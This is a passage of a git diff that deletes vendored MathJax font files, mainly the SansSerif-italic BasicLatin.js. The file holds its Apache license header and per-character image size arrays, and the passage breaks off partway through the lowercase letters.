-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_SansSerif-italic":{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],305:[[2,3,0],[3,4,0],[3,5,0],[4,6,0],[4,6,0],[5,8,0],[6,9,0],[6,11,0],[8,13,0],[9,15,0],[11,18,0],[12,21,0],[15,25,0],[17,29,0]],567:[[3,4,1],[4,6,2],[4,7,2],[6,9,3],[6,9,3],[7,11,3],[8,13,4],[10,16,5],[11,19,6],[14,21,6],[16,26,8],[19,30,9],[22,37,12],[26,43,14]],768:[[2,1,-4],[3,2,-4],[3,2,-6],[3,2,-7],[3,2,-7],[4,3,-9],[5,4,-10],[5,4,-13],[6,5,-15],[7,6,-17],[8,7,-21],[9,8,-24],[11,10,-30],[13,11,-34]],769:[[3,1,-4],[3,2,-4],[3,2,-6],[4,2,-7],[4,2,-7],[6,3,-9],[6,4,-10],[7,4,-13],[8,5,-15],[10,6,-17],[11,7,-21],[12,8,-24],[15,10,-30],[18,11,-34]],770:[[4,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[6,2,-7],[7,3,-9],[8,4,-10],[9,4,-13],[10,5,-15],[13,6,-17],[15,7,-21],[17,8,-24],[20,10,-30],[24,11,-34]],771:[[4,1,-3],[4,1,-5],[4,2,-5],[5,3,-6],[6,2,-7],[6,3,-9],[8,3,-10],[9,3,-13],[11,4,-15],[12,5,-17],[15,6,-21],[17,6,-25],[21,8,-31],[24,9,-35]],772:[[4,1,-3],[4,1,-5],[5,1,-6],[5,2,-6],[6,2,-6],[8,3,-9],[9,2,-11],[10,2,-13],[11,3,-16],[14,3,-18],[16,4,-22],[18,4,-25],[22,5,-31],[26,6,-36]],774:[[3,1,-4],[4,2,-4],[4,2,-6],[5,3,-6],[6,3,-6],[7,4,-8],[8,4,-10],[9,4,-13],[11,6,-14],[13,6,-17],[15,8,-20],[18,9,-23],[21,11,-29],[24,12,-33]],775:[[2,1,-3],[2,1,-5],[2,2,-5],[3,2,-7],[3,2,-7],[3,2,-10],[3,3,-10],[4,3,-13],[4,3,-16],[5,4,-18],[6,5,-22],[7,5,-26],[8,6,-33],[9,7,-38]],776:[[3,1,-3],[4,1,-5],[4,2,-5],[5,2,-7],[5,2,-7],[6,2,-10],[7,2,-11],[8,3,-13],[10,3,-16],[11,4,-18],[13,4,-23],[15,5,-26],[19,6,-33],[21,7,-38]],778:[[2,1,-3],[2,2,-4],[3,2,-5],[3,2,-7],[4,2,-7],[4,3,-9],[5,3,-10],[6,5,-11],[7,5,-14],[8,6,-16],[9,7,-21],[11,8,-24],[13,10,-30],[15,11,-34]],779:[[3,2,-2],[4,2,-4],[4,2,-5],[5,3,-6],[5,3,-6],[7,3,-9],[8,4,-9],[9,5,-11],[10,5,-14],[13,6,-16],[15,8,-20],[17,9,-23],[20,10,-30],[24,11,-34]],780:[[3,1,-3],[4,2,-4],[4,2,-5],[5,2,-6],[5,2,-6],[6,3,-9],[8,4,-10],[9,4,-12],[10,5,-14],[12,6,-16],[15,7,-19],[17,8,-22],[20,10,-28],[23,11,-32]],915:[[5,4,0],[6,6,0],[7,7,0],[8,9,0],[9,9,0],[11,12,0],[13,13,0],[15,16,0],[18,19,0],[22,22,0],[26,28,0],[31,32,0],[36,39,0],[43,46,0]],916:[[6,5,0],[7,6,0],[8,8,0],[10,9,0],[11,9,0],[14,12,0],[16,14,0],[19,17,0],[22,20,0],[26,23,0],[31,28,0],[37,32,0],[44,40,0],[52,46,0]],920:[[6,5,0],[7,6,0],[8,8,0],[10,9,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],[23,20,0],[27,23,0],[32,28,0],[38,34,2],[45,42,1],[53,48,1]],923:[[5,5,0],[5,6,0],[6,8,0],[7,9,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],[17,20,0],[20,23,0],[23,28,0],[28,32,0],[33,40,0],[39,46,0]],926:[[6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,9,0],[13,12,0],[15,13,0],[18,16,0],[22,19,0],[26,22,0],[30,28,0],[36,32,0],[43,39,0],[51,45,0]],928:[[6,4,0],[7,6,0],[8,7,0],[10,9,0],[11,9,0],[13,12,0],[15,13,0],[18,16,0],[22,19,0],[26,22,0],[31,28,0],[36,32,0],[43,39,0],[51,45,0]],931:[[6,4,0],[7,6,0],[8,7,0],[10,9,0],[12,9,0],[14,12,0],[16,13,0],[19,16,0],[23,19,0],[27,22,0],[32,28,0],[38,32,0],[45,39,0],[54,46,0]],933:[[6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],[24,20,0],[28,23,0],[33,28,0],[40,32,0],[47,41,0],[56,48,0]],934:[[6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,9,0],[13,12,0],[15,13,0],[18,16,0],[21,19,0],[25,22,0],[30,28,0],[35,32,0],[42,40,0],[49,46,0]],936:[[6,5,0],[8,6,0],[9,8,0],[11,9,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],[24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,39,0],[57,46,0]],937:[[6,5,0],[7,6,0],[8,8,0],[10,9,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],[22,20,0],[26,23,0],[31,28,0],[36,33,0],[43,41,0],[51,47,0]],8211:[[4,1,-1],[5,1,-2],[6,1,-2],[7,1,-3],[8,1,-3],[10,3,-3],[12,2,-5],[14,2,-6],[16,3,-7],[19,3,-8],[23,3,-9],[27,4,-11],[32,5,-13],[38,5,-15]],8212:[[8,1,-1],[9,1,-2],[11,1,-2],[13,1,-3],[15,1,-3],[18,3,-3],[21,2,-5],[25,2,-6],[30,3,-7],[36,3,-8],[42,3,-9],[50,4,-11],[59,5,-13],[71,5,-15]],8216:[[3,2,-2],[3,2,-4],[4,3,-4],[4,4,-5],[5,4,-5],[6,4,-8],[7,4,-9],[8,6,-10],[10,6,-13],[12,8,-14],[14,9,-19],[16,11,-21],[19,13,-27],[23,15,-31]],8217:[[3,2,-2],[3,2,-4],[4,3,-4],[4,3,-6],[5,3,-6],[6,4,-8],[7,5,-8],[8,6,-10],[10,7,-12],[12,8,-14],[14,10,-18],[16,11,-21],[19,13,-27],[23,15,-31]],8220:[[5,2,-2],[6,2,-4],[7,3,-4],[8,4,-5],[9,4,-5],[11,4,-8],[12,4,-9],[15,6,-10],[17,6,-13],[21,8,-14],[25,9,-19],[29,11,-21],[34,13,-27],[41,15,-31]],8221:[[4,2,-2],[4,2,-4],[5,3,-4],[6,3,-6],[7,3,-6],[8,4,-8],[10,5,-8],[11,6,-10],[14,7,-12],[16,8,-14],[19,10,-18],[22,11,-21],[27,13,-27],[32,15,-31]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Italic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/BasicLatin.js
deleted file mode 100644
index 82a658dd..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/BasicLatin.js
+++ /dev/null
@@ -1,385 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/BasicLatin.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif-italic": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x21: [  // EXCLAMATION MARK
-      [3,4,0],[3,6,0],[4,7,0],[5,9,0],[5,9,0],[6,12,0],[7,13,0],[9,16,0],
-      [10,19,0],[12,22,0],[14,28,0],[17,32,0],[20,40,0],[24,46,0]
-    ],
-    0x22: [  // QUOTATION MARK
-      [4,2,-2],[4,2,-4],[5,3,-4],[6,3,-6],[7,3,-6],[8,4,-8],[10,5,-8],[11,6,-10],
-      [14,7,-12],[16,8,-14],[19,10,-18],[22,11,-21],[27,13,-27],[32,15,-31]
-    ],
-    0x23: [  // NUMBER SIGN
-      [6,5,1],[8,8,2],[9,9,2],[10,12,3],[12,12,3],[15,15,3],[17,17,4],[20,21,5],
-      [24,25,6],[28,28,6],[34,36,8],[40,41,9],[47,50,11],[56,58,13]
-    ],
-    0x24: [  // DOLLAR SIGN
-      [4,6,1],[5,8,1],[6,10,1],[7,11,1],[8,11,1],[10,15,1],[11,16,1],[14,20,1],
-      [16,24,2],[19,27,2],[23,32,2],[27,37,2],[32,46,4],[38,53,4]
-    ],
-    0x25: [  // PERCENT SIGN
-      [6,6,1],[7,7,1],[8,9,1],[10,11,1],[12,11,1],[14,16,2],[16,16,1],[19,19,1],
-      [23,23,2],[27,27,2],[32,32,2],[38,37,3],[46,46,3],[54,53,4]
-    ],
-    0x26: [  // AMPERSAND
-      [6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [21,20,0],[25,23,0],[30,28,0],[35,34,1],[42,42,1],[50,48,1]
-    ],
-    0x27: [  // APOSTROPHE
-      [3,2,-2],[3,2,-4],[4,3,-4],[4,3,-6],[5,3,-6],[6,4,-8],[7,5,-8],[8,6,-10],
-      [10,7,-12],[12,8,-14],[14,10,-18],[16,11,-21],[19,13,-27],[23,15,-31]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [4,7,2],[5,9,2],[5,11,3],[6,13,3],[7,13,3],[9,18,4],[10,20,5],[12,24,6],
-      [14,29,7],[17,33,8],[20,39,10],[23,46,11],[28,57,14],[33,66,16]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [3,7,2],[4,9,2],[4,11,3],[5,13,3],[6,13,3],[7,18,4],[8,20,5],[10,24,6],
-      [11,29,7],[13,33,8],[16,39,10],[19,46,11],[22,57,14],[26,66,16]
-    ],
-    0x2A: [  // ASTERISK
-      [4,3,-2],[5,5,-2],[6,5,-3],[7,6,-4],[8,6,-4],[10,8,-5],[12,9,-6],[14,11,-7],
-      [16,13,-8],[19,15,-9],[23,18,-11],[27,21,-14],[32,25,-17],[38,29,-20]
-    ],
-    0x2B: [  // PLUS SIGN
-      [6,5,1],[7,7,1],[8,9,2],[10,9,1],[11,9,1],[13,13,2],[16,14,2],[18,17,3],
-      [22,20,3],[26,23,3],[31,27,4],[36,31,4],[43,38,5],[51,44,6]
-    ],
-    0x2C: [  // COMMA
-      [2,2,1],[2,2,1],[3,4,2],[3,4,2],[3,4,2],[4,4,2],[5,5,3],[5,6,3],
-      [6,7,4],[7,8,4],[9,9,5],[10,11,6],[12,13,7],[14,15,8]
-    ],
-    0x2D: [  // HYPHEN-MINUS
-      [3,1,-1],[3,1,-1],[4,1,-2],[4,1,-2],[5,1,-2],[6,3,-2],[7,3,-3],[8,2,-4],
-      [10,3,-5],[11,3,-6],[13,3,-7],[16,4,-9],[19,5,-11],[22,5,-12]
-    ],
-    0x2E: [  // FULL STOP
-      [2,1,0],[2,1,0],[3,2,0],[3,2,0],[3,2,0],[4,2,0],[5,2,0],[5,3,0],
-      [6,3,0],[7,4,0],[9,4,0],[10,5,0],[12,6,0],[14,7,0]
-    ],
-    0x2F: [  // SOLIDUS
-      [5,7,2],[5,9,2],[6,11,3],[8,13,3],[9,13,3],[10,18,4],[12,20,5],[14,24,6],
-      [17,29,7],[20,33,8],[24,39,10],[28,46,11],[34,57,14],[40,66,16]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,9,0],[10,12,0],[11,13,0],[13,16,0],
-      [16,19,0],[18,22,0],[22,27,0],[26,32,1],[31,40,1],[36,46,1]
-    ],
-    0x31: [  // DIGIT ONE
-      [4,4,0],[4,6,0],[5,7,0],[6,9,0],[7,9,0],[8,12,0],[9,13,0],[11,16,0],
-      [13,19,0],[15,22,0],[18,27,0],[21,31,0],[25,39,0],[30,45,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,9,0],[10,12,0],[11,13,0],[13,16,0],
-      [16,19,0],[19,22,0],[22,27,0],[26,31,0],[31,39,0],[37,45,0]
-    ],
-    0x33: [  // DIGIT THREE
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,9,0],[10,12,0],[11,13,0],[13,16,0],
-      [16,19,0],[18,22,0],[22,27,0],[26,32,1],[31,40,1],[36,46,1]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,9,0],[9,12,0],[11,13,0],[13,16,0],
-      [15,19,0],[18,22,0],[21,26,0],[25,30,0],[29,37,0],[35,43,0]
-    ],
-    0x35: [  // DIGIT FIVE
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,9,0],[10,12,0],[11,13,0],[13,16,0],
-      [16,20,0],[19,22,0],[22,27,0],[26,31,1],[31,39,1],[37,45,1]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,9,0],[10,12,0],[11,13,0],[13,16,0],
-      [16,19,0],[19,22,0],[22,27,0],[26,33,2],[31,40,1],[37,46,1]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [5,5,0],[5,6,0],[6,7,0],[7,9,0],[9,9,0],[10,12,0],[12,13,0],[14,16,0],
-      [17,19,0],[20,22,0],[24,26,0],[28,31,0],[33,38,1],[40,44,1]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,9,0],[10,12,0],[11,13,0],[13,16,0],
-      [16,19,0],[19,22,0],[22,27,0],[26,31,0],[31,40,1],[37,46,1]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,9,0],[10,12,0],[11,13,0],[13,16,0],
-      [16,19,0],[18,22,0],[22,27,0],[26,32,1],[31,40,1],[36,46,1]
-    ],
-    0x3A: [  // COLON
-      [2,3,0],[3,4,0],[3,5,0],[4,6,0],[4,6,0],[5,8,0],[6,9,0],[7,11,0],
-      [8,13,0],[10,15,0],[12,17,0],[14,21,0],[16,25,0],[19,29,0]
-    ],
-    0x3B: [  // SEMICOLON
-      [2,4,1],[3,5,1],[3,7,2],[4,8,2],[4,8,2],[5,10,2],[6,12,3],[7,14,3],
-      [8,17,4],[10,19,4],[12,22,5],[14,27,6],[16,32,7],[19,37,8]
-    ],
-    0x3D: [  // EQUALS SIGN
-      [6,2,0],[7,3,-1],[8,3,-1],[10,4,-1],[11,4,-1],[14,5,-2],[16,5,-2],[19,6,-3],
-      [22,8,-3],[27,10,-4],[32,10,-5],[37,11,-6],[44,14,-7],[53,16,-9]
-    ],
-    0x3F: [  // QUESTION MARK
-      [4,5,0],[5,6,0],[6,8,0],[7,9,0],[8,9,0],[9,12,0],[11,14,0],[13,17,0],
-      [15,20,0],[18,23,0],[21,28,0],[25,32,0],[30,40,0],[36,46,0]
-    ],
-    0x40: [  // COMMERCIAL AT
-      [5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[28,28,0],[33,32,0],[40,41,1],[47,47,1]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,28,0],[30,32,0],[36,40,0],[42,46,0]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,20,0],[23,23,0],[28,28,0],[33,32,0],[39,40,0],[46,46,0]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [5,5,0],[6,6,0],[8,8,0],[9,9,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[29,28,0],[34,32,0],[40,41,1],[48,47,1]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,9,0],[13,12,0],[15,13,0],[18,16,0],
-      [21,19,0],[25,22,0],[30,28,0],[35,32,0],[42,39,0],[50,46,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,9,0],[12,12,0],[14,13,0],[16,16,0],
-      [20,19,0],[23,22,0],[27,28,0],[32,32,0],[39,39,0],[46,46,0]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[10,9,0],[12,12,0],[14,13,0],[16,16,0],
-      [19,19,0],[23,22,0],[27,28,0],[32,32,0],[38,39,0],[45,46,0]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-      [21,20,0],[25,23,0],[29,28,0],[34,32,0],[41,41,1],[49,47,1]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [6,5,0],[7,6,0],[8,8,0],[10,9,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[31,28,0],[36,32,0],[43,40,0],[51,46,0]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [3,5,0],[3,6,0],[4,8,0],[4,9,0],[5,9,0],[6,12,0],[7,14,0],[8,17,0],
-      [10,20,0],[12,23,0],[14,28,0],[16,32,0],[19,40,0],[23,46,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [4,5,0],[5,6,0],[6,8,0],[7,9,0],[8,9,0],[9,12,0],[11,14,0],[13,17,0],
-      [15,20,0],[18,23,0],[21,28,0],[25,33,1],[30,41,1],[36,47,1]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [6,4,0],[7,6,0],[8,7,0],[10,9,0],[11,9,0],[14,12,0],[16,13,0],[19,16,0],
-      [22,19,0],[26,22,0],[31,28,0],[37,32,0],[44,40,0],[52,46,0]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [4,5,0],[5,6,0],[6,8,0],[7,9,0],[8,9,0],[9,12,0],[11,14,0],[12,17,0],
-      [15,20,0],[17,23,0],[21,28,0],[24,32,0],[29,40,0],[34,46,0]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [7,5,0],[8,6,0],[10,8,0],[11,9,0],[13,9,0],[16,12,0],[19,14,0],[22,17,0],
-      [26,20,0],[31,23,0],[37,28,0],[44,32,0],[52,40,0],[62,46,0]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,40,0],[51,46,0]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[30,28,0],[36,34,1],[43,42,1],[51,49,1]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,9,0],[12,12,0],[14,13,0],[17,16,0],
-      [20,19,0],[23,22,0],[27,28,0],[33,32,0],[39,39,0],[46,46,0]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [6,6,1],[7,7,1],[8,9,1],[9,11,2],[11,11,2],[13,14,2],[15,16,2],[18,20,3],
-      [22,23,3],[26,27,4],[30,32,4],[36,39,6],[43,48,7],[51,56,8]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,9,0],[12,12,0],[14,13,0],[17,16,0],
-      [20,19,0],[23,22,0],[28,28,0],[33,32,0],[39,39,0],[46,45,0]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [5,5,0],[6,6,0],[6,8,0],[8,9,0],[9,9,0],[11,12,0],[12,14,0],[15,17,0],
-      [17,20,0],[21,23,0],[24,28,0],[29,34,1],[34,42,1],[41,49,1]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [6,4,0],[7,6,0],[8,7,0],[10,9,0],[11,9,0],[14,12,0],[16,13,0],[19,16,0],
-      [22,19,0],[26,22,0],[31,28,0],[37,32,0],[44,39,0],[52,45,0]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [21,20,0],[25,23,0],[30,28,0],[35,33,0],[42,41,1],[50,47,1]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [6,4,0],[7,6,0],[8,7,0],[10,9,0],[12,9,0],[14,12,0],[16,13,0],[19,16,0],
-      [23,19,0],[27,22,0],[32,28,0],[38,32,0],[45,40,0],[53,46,0]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [8,5,0],[9,6,0],[11,8,0],[13,9,0],[15,9,0],[18,12,0],[21,14,0],[25,17,0],
-      [30,20,0],[36,23,0],[43,28,0],[50,32,0],[60,40,0],[71,46,0]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,9,0],[13,12,0],[15,13,0],[18,16,0],
-      [21,19,0],[25,22,0],[30,28,0],[36,32,0],[42,40,0],[50,46,0]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [6,4,0],[7,6,0],[8,7,0],[10,9,0],[12,9,0],[14,12,0],[16,13,0],[19,16,0],
-      [23,19,0],[27,22,0],[32,28,0],[38,32,0],[45,40,0],[54,46,0]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,9,0],[12,12,0],[14,13,0],[17,16,0],
-      [20,19,0],[24,22,0],[28,28,0],[33,32,0],[39,40,0],[47,46,0]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [3,7,2],[4,9,2],[5,11,3],[5,13,3],[6,13,3],[8,19,5],[9,20,5],[10,24,6],
-      [12,29,7],[14,33,8],[17,39,10],[20,46,11],[24,57,14],[28,65,16]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [4,7,2],[4,9,2],[5,11,3],[6,13,3],[6,13,3],[7,19,5],[8,20,5],[10,24,6],
-      [11,29,7],[14,33,8],[16,39,10],[19,46,11],[22,57,14],[27,65,16]
-    ],
-    0x5E: [  // CIRCUMFLEX ACCENT
-      [4,1,-4],[5,2,-4],[6,2,-6],[7,2,-7],[8,2,-7],[9,3,-9],[11,4,-10],[13,4,-13],
-      [15,5,-15],[18,6,-17],[21,7,-21],[25,8,-24],[30,10,-30],[36,11,-34]
-    ],
-    0x5F: [  // LOW LINE
-      [4,2,1],[5,2,1],[6,2,1],[7,2,1],[8,2,1],[10,4,3],[12,4,3],[14,4,3],
-      [16,4,3],[19,5,4],[23,5,4],[27,6,5],[32,7,6],[38,8,7]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,6,0],[8,8,0],[10,9,0],[11,11,0],
-      [14,13,0],[16,15,0],[19,18,0],[22,21,0],[27,27,1],[31,31,1]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,9,0],[9,12,0],[11,13,0],[13,16,0],
-      [15,19,0],[18,22,0],[22,28,0],[26,32,0],[30,40,1],[36,46,1]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [4,3,0],[5,4,0],[5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[17,15,0],[20,18,0],[24,21,0],[28,27,1],[33,31,1]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
-      [5,5,0],[5,6,0],[6,8,0],[7,9,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [17,20,0],[20,23,0],[23,28,0],[28,32,0],[33,40,1],[39,46,1]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,6,0],[8,8,0],[10,9,0],[11,11,0],
-      [14,13,0],[16,15,0],[19,18,0],[22,21,0],[27,27,1],[32,31,1]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [4,5,0],[5,6,0],[5,8,0],[6,9,0],[7,9,0],[9,12,0],[10,14,0],[12,17,0],
-      [14,20,0],[17,23,0],[20,28,0],[23,32,0],[27,40,0],[33,46,0]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,4,1],[5,6,2],[6,7,2],[7,9,3],[8,9,3],[10,11,3],[12,13,4],[14,16,5],
-      [16,19,6],[19,21,6],[23,26,8],[27,30,9],[32,38,12],[38,44,14]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,9,0],[9,12,0],[10,13,0],[12,16,0],
-      [15,19,0],[17,22,0],[21,28,0],[24,32,0],[29,40,0],[34,46,0]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [3,4,0],[3,6,0],[4,7,0],[4,9,0],[5,9,0],[6,12,0],[7,13,0],[8,16,0],
-      [9,19,0],[11,22,0],[13,27,0],[15,31,0],[18,39,0],[21,45,0]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [4,5,1],[4,8,2],[5,9,2],[6,12,3],[7,12,3],[8,15,3],[9,17,4],[11,21,5],
-      [13,25,6],[16,28,6],[18,35,8],[21,40,9],[25,51,12],[30,58,14]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [4,5,0],[5,6,0],[6,8,0],[7,9,0],[8,9,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[18,23,0],[22,28,0],[26,32,0],[31,40,0],[36,46,0]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [3,5,0],[3,6,0],[4,8,0],[4,9,0],[5,9,0],[6,12,0],[7,14,0],[8,17,0],
-      [9,20,0],[11,23,0],[13,28,0],[15,32,0],[18,40,0],[21,46,0]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [6,3,0],[7,4,0],[8,5,0],[10,6,0],[11,6,0],[14,8,0],[16,9,0],[19,11,0],
-      [22,13,0],[26,15,0],[31,18,0],[37,21,0],[44,26,0],[52,30,0]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [4,3,0],[5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],
-      [15,13,0],[17,15,0],[21,18,0],[24,21,0],[29,26,0],[34,30,0]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [4,3,0],[5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-      [15,13,0],[18,15,0],[21,18,0],[25,21,0],[29,27,1],[35,31,1]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [4,4,1],[5,6,2],[6,7,2],[7,9,3],[8,9,3],[9,11,3],[11,13,4],[13,16,5],
-      [15,19,6],[18,21,6],[22,26,8],[25,30,9],[30,37,11],[36,43,13]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [4,4,1],[5,6,2],[6,7,2],[7,9,3],[8,9,3],[9,11,3],[11,13,4],[13,16,5],
-      [15,19,6],[18,21,6],[21,26,8],[25,30,9],[30,37,11],[36,43,13]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [3,3,0],[4,4,0],[5,5,0],[5,6,0],[6,6,0],[8,8,0],[9,9,0],[10,11,0],
-      [12,13,0],[14,15,0],[17,18,0],[20,21,0],[24,26,0],[28,30,0]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [3,3,0],[4,4,0],[5,5,0],[6,6,0],[6,6,0],[8,8,0],[9,9,0],[11,11,0],
-      [12,13,0],[15,15,0],[17,18,0],[21,21,0],[24,27,1],[29,31,1]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [3,4,0],[4,6,0],[5,7,0],[5,8,0],[6,8,0],[7,10,0],[8,12,0],[10,14,0],
-      [12,17,0],[14,19,0],[17,23,0],[20,27,0],[23,33,1],[27,38,1]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [4,3,0],[5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
